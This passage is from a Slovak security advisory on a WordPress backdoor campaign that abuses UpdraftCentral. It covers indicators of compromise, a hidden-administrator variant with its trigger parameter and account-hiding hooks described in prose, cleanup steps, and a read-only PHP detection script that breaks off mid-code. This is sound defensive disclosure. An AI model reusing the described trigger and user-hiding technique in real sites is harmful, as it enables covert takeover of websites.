.35em;border-radius:4px;word-break:break-word\">4943fc21efa4b81516130f92bf4efe3b832e1bb69e499d2e42587233a0a005e9<\/code><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>\u010eal\u0161ie vzorky prv\u00e9ho variantu n\u00e1m poslali in\u00e9 obete a \u010fal\u0161ie n\u00e1zvy uv\u00e1dza Patchstack:<\/p>\n<ul>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">hero-frame-2c5<\/code>, autor \u201eCopperForge WP\u201c, pou\u017e\u00edvate\u013e s e-mailom <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">render-build21@example.org<\/code>, SHA-256 hlavn\u00e9ho s\u00faboru <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">a9b625496a8ec82862ded01900f720c28f111e624176df7e25be7331f22e4cc9<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">uninstall.php<\/code> <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">325722876a5f8e184b88cf415900ab52c9103553bc4be502399a2272550f2111<\/code><\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">card-binder-104<\/code>, verzia 2.6.7, pou\u017e\u00edvate\u013e <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">render.desk87<\/code><\/li>\n<li>pod\u013ea Patchstacku napr\u00edklad \u201eSite Health Cache\u201c, \u201eAsset Forge 2\u201c, \u201eContent Helper\u201c a \u201eWp Forge\u201c, spolu 99 n\u00e1zvov<\/li>\n<\/ul>\n<p>Spolo\u010dn\u00e9 znaky:<\/p>\n<ul>\n<li>IP adresy <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">43.250.53.42<\/code> a <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">2a09:bac5:4e21:2e3c::49b:9<\/code>, User-Agent presne <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">WordPress\/6.4; class-udrpc.php<\/code>, po\u017eiadavka <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">POST \/<\/code><\/li>\n<li>v logu UpdraftCentral sonda <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">probe.central.updraftplus.com<\/code> a o nieko\u013eko hod\u00edn <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">Command received: plugin.upload_plugin<\/code><\/li>\n<li>popis pluginu \u201eSmall maintenance toolkit: keeps option storage tidy.\u201c<\/li>\n<li>pou\u017e\u00edvate\u013e s e-mailom na <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">@example.org<\/code> a zobrazovan\u00fdm menom \u201eSite Tools\u201c, s rolou Editor a opr\u00e1vneniami <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">manage_options<\/code> a <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">install_plugins<\/code><\/li>\n<li>fat\u00e1lna chyba <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">Undefined constant &lt;Trieda&gt;::FIELD<\/code> a e-mail WordPressu o chybe v plugine, ktor\u00fd nepozn\u00e1te<\/li>\n<\/ul>\n<h2 id=\"druh\u00fd-variant-skryt\u00fd-administr\u00e1tor\">Druh\u00fd variant: skryt\u00fd administr\u00e1tor<\/h2>\n<p>Tento variant sme sami neanalyzovali. Popis aj indik\u00e1tory n\u00e1m poslal spr\u00e1vca pribli\u017ene 145 webov, z ktor\u00fdch \u00fato\u010dn\u00edk napadol tri. Na jeden nahral variant op\u00edsan\u00fd vy\u0161\u0161ie, na dva \u010fal\u0161ie in\u00fd plugin. Patchstack tento variant vo svojej anal\u00fdze zatia\u013e neuv\u00e1dza.<\/p>\n<ul>\n<li>N\u00e1zvy: \u201eSrc Lab\u201c (<code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">src-lab<\/code>, autor \u201eWPBridge\u201c, verzia 3.0.0) a \u201eRender Helper 232b\u201c (<code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">render-helper-232b<\/code>, verzia 3.7.9).<\/li>\n<li>Popis: \u201eImproves cron tasks efficiency for content sites with minimal overhead.\u201c Na zakrytie plugin naozaj prid\u00e1 denn\u00fd cron, ktor\u00fd ma\u017ee expirovan\u00e9 transienty, a filter pre jQuery na str\u00e1nkach AMP.<\/li>\n<li>Sp\u00fa\u0161\u0165a\u010d: parameter s n\u00e1zvom z 12 hex znakov a 32-znakov\u00fd token, napr\u00edklad <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">?303541c9dfd0=\u2026&amp;m=setup<\/code>. Re\u017eim <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">m=setup<\/code> vytvor\u00ed <strong>administr\u00e1tora<\/strong> (napr\u00edklad <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">cmseditor170@example.com<\/code> alebo <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">web_mgr684@example.com<\/code>), re\u017eim <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">m=svc<\/code> prihl\u00e1si n\u00e1v\u0161tevn\u00edka do tohto \u00fa\u010dtu. Bez parametra <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">m<\/code> ho prihl\u00e1si ako <strong>prv\u00e9ho existuj\u00faceho administr\u00e1tora webu<\/strong>.<\/li>\n<li>ID vytvoren\u00e9ho \u00fa\u010dtu uklad\u00e1 do vo\u013eby <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">&lt;slug&gt;_uid<\/code>, napr\u00edklad <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">src_lab_uid<\/code>.<\/li>\n<li>\u00da\u010det skr\u00fdva: h\u00e1\u010dik <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">pre_user_query<\/code> ho vyrad\u00ed zo zoznamu pou\u017e\u00edvate\u013eov a filter <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">pre_count_users<\/code> zn\u00ed\u017ei po\u010det administr\u00e1torov o jedn\u00e9ho. V administr\u00e1cii ho teda neuvid\u00edte.<\/li>\n<li>Nem\u00e1 <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">uninstall.php<\/code>. Pri deaktiv\u00e1cii zma\u017ee len vo\u013ebu <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">&lt;slug&gt;_installed<\/code>.<\/li>\n<li>SHA-256 <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">src-lab.php<\/code>: <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">59231b0e5004672b3058b47b4b4ff2b1fa89f1961bedf1741ba285e8adbe4928<\/code><\/li>\n<li>Doru\u010denie je rovnak\u00e9 ako pri prvom variante, cez sondu a <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">plugin.upload_plugin<\/code>, z IP <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">2a09:bac5:4e21:2e3c::49b:9<\/code> (src-lab 18. 10. 23:39 UTC, render-helper-232b 19. 10. 0:03 UTC).<\/li>\n<\/ul>\n<p>Spr\u00e1vca neuv\u00e1dza, \u017ee by tento variant mal rovnak\u00fa chybu ako prv\u00fd, preto treba po\u010d\u00edta\u0165 s t\u00fdm, \u017ee funguje. Na jeho weboch ho \u00fato\u010dn\u00edk nepou\u017eil: nevznikla vo\u013eba <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">_uid<\/code>, \u017eiadny \u00fa\u010det ani cudzia rel\u00e1cia.<\/p>\n<p>Ako ho n\u00e1js\u0165: v s\u00faboroch pluginov h\u013eadajte \u201eImproves cron tasks efficiency\u201c alebo \u201ekeep service accounts out of the main user list\u201c a pou\u017e\u00edvate\u013eov kontrolujte priamo v tabu\u013eke <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">wp_users<\/code>, nie cez administr\u00e1ciu. N\u00e1\u0161 kontroln\u00fd skript vo verzii 2 rob\u00ed oboje. V access logu h\u013eadajte po\u017eiadavky s parametrom z 12 hex znakov:<\/p>\n<pre style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:13.5px !important;line-height:1.55;background:#0d1117;color:#e6edf3;border:1px solid #30363d;border-radius:8px;padding:14px 16px;margin:1em 0 1.6em;overflow-x:auto;white-space:pre;tab-size:4\"><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:inherit !important;background:none;padding:0;color:inherit\">grep -E &#39;\\?[0-9a-f]{12}=[A-Za-z0-9_-]{32}&#39; \/var\/log\/apache2\/*access*<\/code><\/pre>\n<h2 id=\"\u010do-robi\u0165-ak-ho-n\u00e1jdete\">\u010co robi\u0165, ak ho n\u00e1jdete<\/h2>\n<ol type=\"1\">\n<li>Ak ste to e\u0161te neurobili, zru\u0161te spojenie s UpdraftCentral pod\u013ea postupu v \u010dasti \u201e\u010co urobi\u0165 hne\u010f\u201c. Inak m\u00f4\u017ee \u00fato\u010dn\u00edk posla\u0165 opraven\u00fa verziu backdooru.<\/li>\n<li>Plugin deaktivujte a presu\u0148te mimo webov\u00e9ho prie\u010dinka. Ak ho chcete ponecha\u0165 ako d\u00f4kaz, nema\u017ete ho cez administr\u00e1ciu, lebo <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">uninstall.php<\/code> zma\u017ee jeho vo\u013eby.<\/li>\n<li>Zma\u017ete vo\u013ebu <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">&lt;slug&gt;_sync_token<\/code>.<\/li>\n<li>Skontrolujte pou\u017e\u00edvate\u013eov kontroln\u00fdm skriptom ni\u017e\u0161ie. Ak backdoor fungoval, teda jeho \u00fa\u010det existuje alebo sa v access logu objavila po\u017eiadavka s jeho parametrom, pova\u017eujte web za plne kompromitovan\u00fd. \u00dato\u010dn\u00edk mohol nahra\u0165 \u010fal\u0161ie pluginy alebo webshell a zmeni\u0165 s\u00fabory \u010di datab\u00e1zu. Web obnovte zo z\u00e1lohy spred 17. okt\u00f3bra, porovnajte s\u00fabory s \u010distou in\u0161tal\u00e1ciou a prejdite v\u0161etk\u00fdch pou\u017e\u00edvate\u013eov s opr\u00e1vneniami navy\u0161e.<\/li>\n<li>Zme\u0148te hesl\u00e1 administr\u00e1torov a k \u00fa\u010dtu UpdraftCentral Cloud, ukon\u010dite v\u0161etky prihl\u00e1sen\u00e9 rel\u00e1cie a zapnite dvojfaktorov\u00e9 overenie.<\/li>\n<li>Zv\u00e1\u017ete, \u010di vzdialen\u00fa spr\u00e1vu potrebujete. Ak \u00e1no, k\u013e\u00fa\u010d vytvorte pod \u00fa\u010dtom, ktor\u00fd nem\u00e1 pr\u00e1va in\u0161talova\u0165 pluginy, ak ich na dia\u013eku nepotrebujete. Na webe C \u00fatok zastavila pr\u00e1ve t\u00e1to n\u00e1hoda.<\/li>\n<\/ol>\n<h2 id=\"kontroln\u00fd-skript\">Kontroln\u00fd skript<\/h2>\n<p>Skript skontroluje p\u00e4\u0165 vec\u00ed: \u010di je web pripojen\u00fd k UpdraftCentral, \u010do web cez UpdraftCentral prijal, \u010di s\u00fa v prie\u010dinkoch <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">plugins<\/code> a <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">mu-plugins<\/code> s\u00fabory backdooru, \u010di s\u00fa v datab\u00e1ze jeho vo\u013eby a \u010di existuje jeho \u00fa\u010det alebo in\u00fd pou\u017e\u00edvate\u013e bez roly administr\u00e1tora s opr\u00e1vneniami <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">manage_options<\/code> \u010di <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">install_plugins<\/code>. Verzia 2 zachyt\u00ed aj druh\u00fd variant: h\u013ead\u00e1 jeho s\u00fabory a vo\u013ebu <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">_uid<\/code>, pou\u017e\u00edvate\u013eov \u010d\u00edta priamo z datab\u00e1zy, tak\u017ee ich skr\u00fdvanie neob\u00edde, a upozorn\u00ed na administr\u00e1torov vytvoren\u00fdch od 17. 10.<\/p>\n<p>Na webe A po odstr\u00e1nen\u00ed backdooru vyp\u00ed\u0161e:<\/p>\n<pre style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:13.5px !important;line-height:1.55;background:#0d1117;color:#e6edf3;border:1px solid #30363d;border-radius:8px;padding:14px 16px;margin:1em 0 1.6em;overflow-x:auto;white-space:pre;tab-size:4\"><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:inherit !important;background:none;padding:0;color:inherit\">[OK]    No active UpdraftCentral connection.\n[WARN]  2026-10-19 00:14 UTC  43.250.53.42  probe for UpdraftCentral (UA: WordPress\/6.4; class-udrpc.php).\n[ALERT] 2026-10-19 02:14 UTC  43.250.53.42  &quot;Command received: plugin.upload_plugin&quot; (UA: WordPress\/6.4; class-udrpc.php). A plugin or theme was pushed to this site.\n[OK]    No backdoor plugin files found.\n[OK]    No backdoor options in the database.\n[OK]    No backdoor accounts or hidden admin-level users.<\/code><\/pre>\n<p>Skript si m\u00f4\u017eete stiahnu\u0165 aj priamo:<\/p>\n<pre style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:13.5px !important;line-height:1.55;background:#0d1117;color:#e6edf3;border:1px solid #30363d;border-radius:8px;padding:14px 16px;margin:1em 0 1.6em;overflow-x:auto;white-space:pre;tab-size:4\"><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:inherit !important;background:none;padding:0;color:inherit\">curl -o check-updraftcentral.php https:\/\/nethemba.com\/wp-content\/uploads\/2026\/10\/check-updraftcentral.txt<\/code><\/pre>\n<p>SHA-256 skriptu: <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">f9247f96a4882722742ddff1eaa515f9eb70faa8f382429fe4204c3d617e57b0<\/code>. Cel\u00fd k\u00f3d:<\/p>\n<pre style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:13.5px !important;line-height:1.55;background:#0d1117;color:#e6edf3;border:1px solid #30363d;border-radius:8px;padding:14px 16px;margin:1em 0 1.6em;overflow-x:auto;white-space:pre;tab-size:4\"><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:inherit !important;background:none;padding:0;color:inherit\">&lt;?php\n\/**\n * Nethemba: check for the UpdraftCentral backdoor campaign of October 2026.\n * Read-only. It changes nothing on the site.\n * v2: also detects the second variant, which creates a hidden administrator.\n *\n * Run in the WordPress root directory:\n *   wp eval-file check-updraftcentral.php --skip-plugins --skip-themes\n *\n * --skip-plugins matters: an installed copy of the backdoor crashes every request,\n * including WP-CLI, unless plugins are skipped.\n *\/\n\n$alerts = 0;\n$warnings = 0;\n$report = function ( $level, $message ) use ( &amp;$alerts, &amp;$warnings ) {\n    if ( &#39;ALERT&#39; === $level ) $alerts++;\n    if ( &#39;WARN&#39; === $level ) $warnings++;\n    echo str_pad( &quot;[$level]&quot;, 8 ), $message, &quot;\\n&quot;;\n};\n\necho &quot;UpdraftCentral backdoor check for &quot;, get_option( &#39;siteurl&#39; ), &quot;\\n\\n&quot;;\n\n\/\/ 1. Is the site connected to UpdraftCentral?\n$keys = get_option( &#39;updraft_central_localkeys&#39; );\nif ( is_array( $keys ) &amp;&amp; $keys ) {\n    foreach ( $keys as $id =&gt; $key ) {\n        $report( &#39;WARN&#39;, sprintf(\n            &#39;UpdraftCentral connection is active: key %s, created %s by user &quot;%s&quot;. Delete it now.&#39;,\n            $id,\n            isset( $key[&#39;created&#39;] ) ? gmdate( &#39;Y-m-d&#39;, $key[&#39;created&#39;] ) : &#39;?&#39;,\n            isset( $key[&#39;extra_info&#39;][&#39;user_login&#39;] ) ? $key[&#39;extra_info&#39;][&#39;user_login&#39;] : &#39;?&#39;\n        ) );\n    }\n} else {\n    $report( &#39;OK&#39;, &#39;No active UpdraftCentral connection.&#39; );\n}\n\n\/\/ 2. What the site received over UpdraftCentral.\n$log = get_site_option( &#39;updraftcentral_client_log&#39; );\n$log_hits = 0;\nforeach ( is_array( $log ) ? $log : array() as $entry ) {\n    $message = isset( $entry[&#39;message&#39;] ) ? $entry[&#39;message&#39;] : &#39;&#39;;\n    $agent   = isset( $entry[&#39;http_user_agent&#39;] ) ? $entry[&#39;http_user_agent&#39;] : &#39;&#39;;\n    $when    = isset( $entry[&#39;time&#39;] ) ? gmdate( &#39;Y-m-d H:i&#39;, $entry[&#39;time&#39;] ) . &#39; UTC&#39; : &#39;?&#39;;\n    $ip      = isset( $entry[&#39;remote_ip&#39;] ) ? $entry[&#39;remote_ip&#39;] : &#39;?&#39;;\n    if ( preg_match( &#39;\/upload_(plugin|theme)\/&#39;, $message ) ) {\n        $report( &#39;ALERT&#39;, &quot;$when  $ip  \\&quot;$message\\&quot; (UA: $agent). A plugin or theme was pushed to this site.&quot; );\n        $log_hits++;\n    } elseif ( false !== strpos( $message, &#39;probe.central.updraftplus.com&#39; ) ) {\n        $report( &#39;WARN&#39;, &quot;$when  $ip  probe for UpdraftCentral (UA: $agent).&quot; );\n        $log_hits++;\n    } elseif ( &#39;Command received&#39; === substr( $message, 0, 16 ) &amp;&amp; preg_match( &#39;\/class-udrpc\\.php$\/&#39;, $agent ) ) {\n        $report( &#39;ALERT&#39;, &quot;$when  $ip  \\&quot;$message\\&quot; from a client that is not UpdraftCentral Cloud (UA: $agent).&quot; );\n        $log_hits++;\n    }\n}\nif ( ! $log_hits ) $report( &#39;OK&#39;, &#39;UpdraftCentral log shows no plugin uploads, probes or foreign clients.&#39; );\n\n\/\/ 3. Backdoor plugins in plugins and mu-plugins.\n$plugin_hits = 0;\nforeach ( array( WP_PLUGIN_DIR . &#39;\/*\/*.php&#39;, WPMU_PLUGIN_DIR . &#39;\/*.php&#39; ) as $pattern ) {\n    foreach ( (array) glob( $pattern ) as $file ) {\n        $code = (string) @file_get_contents( $file, false, null, 0, 200000 );\n        $template = false !== strpos( $code, &#39;keeps option storage tidy&#39; )\n            || false !== strpos( $code, &#39;Improves cron tasks efficiency&#39; )\n            || false !== strpos( $code, &#39;keep service accounts out of the main user list&#39; )\n            || ( false !== strpos( $code, &quot;_sync_token&#39;&quot; ) &amp;&amp; false !== strpos( $code, &#39;wp_set_auth_cookie&#39; ) &amp;&amp; false !== strpos( $code, &#39;hash_equals&#39; ) )\n            || ( false !== strpos( $code, &#39;pre_user_query&#39; ) &amp;&amp; false !== strpos( $code, &#39;pre_count_users&#39; ) &amp;&amp; false !== strpos( $code, &#39;wp_set_auth_cookie&#39; ) );\n        if ( $template ) {\n            $report( &#39;ALERT&#39;, &quot;Backdoor plugin file: $file&quot; );\n            $plugin_hits++;\n        }\n    }\n}\nif ( ! $plugin_hits ) $report( &#39;OK&#39;, &#39;No backdoor plugin files found.&#39; );\n\n\/\/ 4. Options the backdoor leaves behind.\nglobal $wpdb;\n$options = $wpdb-&gt;get_col( &quot;SELECT option_name FROM {$wpdb-&gt;options} WHERE option_name REGEXP &#39;^[a-z]+_[a-z]+_[0-9a-f]{3}_(sync_token|setup_stamp)$&#39;&quot; );\nforeach ( $options as $name ) $report( &#39;ALERT&#39;, &quot;Backdoor option in the database: $name&quot; );\n\/\/ The second variant stores the ID of its hidden administrator in &lt;slug&gt;_uid.\n$uids = $wpdb-&gt;get_results( &quot;SELECT option_name, option_value FROM {$wpdb-&gt;options} WHERE option_name REGEXP &#39;^[a-z]+_[a-z]+(_[0-9a-f]{3,4})?_uid$&#39;&quot; );\nforeach ( $uids as $o ) {\n    $u = ctype_digit( (string) $o-&gt;option_value ) ? $wpdb-&gt;get_row( $wpdb-&gt;prepare( &quot;SELECT user_login, user_email FROM {$wpdb-&gt;users} WHERE ID = %d&quot;, $o-&gt;option_value ) ) : null;\n    $bad = $u &amp;&amp; preg_match( &#39;\/@example\\.(com|org)$\/&#39;, $u-&gt;user_email );\n    $report( $bad ? &#39;ALERT&#39; : &#39;WARN&#39;, &quot;Option {$o-&gt;option_name} = {$o-&gt;option_value}&quot; . ( $u ? &quot; (user {$u-&gt;user_login} &lt;{$u-&gt;user_email}&gt;)&quot; : &#39;&#39; ) . ( $bad ? &#39;&#39; : &#39;. Check that a plugin you know uses it.&#39; ) );\n}\nif ( ! $options &amp;&amp; ! $uids ) $report( &#39;OK&#39;, &#39;No backdoor options in the database.&#39; );\n\n\/\/ 5. Accounts the backdoor creates, and non-admins with admin-level capabilities.\n\/\/ Read users straight from the table: the second variant hides its account from get_users() and user counts.\n$user_hits = 0;\n$cap_key = $wpdb-&gt;get_blog_prefix() . &#39;capabilities&#39;;\n$flagged = array();\nforeach ( $wpdb-&gt;get_results( &quot;SELECT ID, user_login, user_email, display_name FROM {$wpdb-&gt;users} WHERE user_email LIKE &#39;%@example.org&#39; OR user_email LIKE &#39;%@example.com&#39; OR display_name = &#39;Site Tools&#39;&quot; ) as $user ) {\n    $report( &#39;ALERT&#39;, &quot;Backdoor-style account: {$user-&gt;user_login} &lt;{$user-&gt;user_email}&gt; \\&quot;{$user-&gt;display_name}\\&quot;&quot; );\n    $flagged[ $user-&gt;ID ] = true;\n    $user_hits++;\n}\nforeach ( $wpdb-&gt;get_results( $wpdb-&gt;prepare( &quot;SELECT u.ID, u.user_login, u.user_email, u.user_registered FROM {$wpdb-&gt;users} u JOIN {$wpdb-&gt;usermeta} m ON m.user_id = u.ID AND m.meta_key = %s WHERE u.user_registered &gt;= &#39;2026-10-17&#39; AND m.meta_value LIKE %s&quot;, $cap_key, &#39;%administrator%&#39; ) ) as $user ) {\n    if ( isset( $flagged[ $user-&gt;ID ] ) ) continue;\n    $report( &#39;WARN&#39;, &quot;Administrator created on {$user-&gt;user_registered}: {$user-&gt;user_login} &lt;{$user-&gt;user_email}&gt;. Make sure you know this account.&quot; );\n    $user_hits++;\n}\nforeach ( get_users( array( &#39;fields&#39; =&gt; array( &#39;ID&#39;, &#39;user_login&#39;, &#39;user_email&#39;, &#39;display_name&#39; ) ) ) as $user ) {\n    if ( isset( $flagged[ $user-&gt;ID ] ) ) continue;\n    $caps = (array) get_user_meta( $user-&gt;ID, $cap_key, true );\n    $extra = array_intersect( array( &#39;manage_options&#39;, &#39;install_plugins&#39; ), array_keys( array_filter( $caps ) ) );\n    if ( $extra &amp;&amp; empty( $caps[&#39;administrator&#39;] ) ) {\n        $report( &#39;WARN&#39;, &quot;Non-administrator {$user-&gt;user_login} has extra capabilities: &quot; . implode( &#39;, &#39;, $extra ) );\n        $user_hits++;\n    }\n}\nif ( ! $user_hits ) $report( &#39;OK&#39;, &#39;No backdoor accounts or hidden admin-level users.&#39; );\n\necho &quot;\\n&quot;;\nif ( $alerts ) {\n    echo &quot;RESULT: traces of the attack found. Delete the UpdraftCentral connection, remove the backdoor and check users and passwords.\\n&quot;;\n} elseif ( $warnings ) {\n    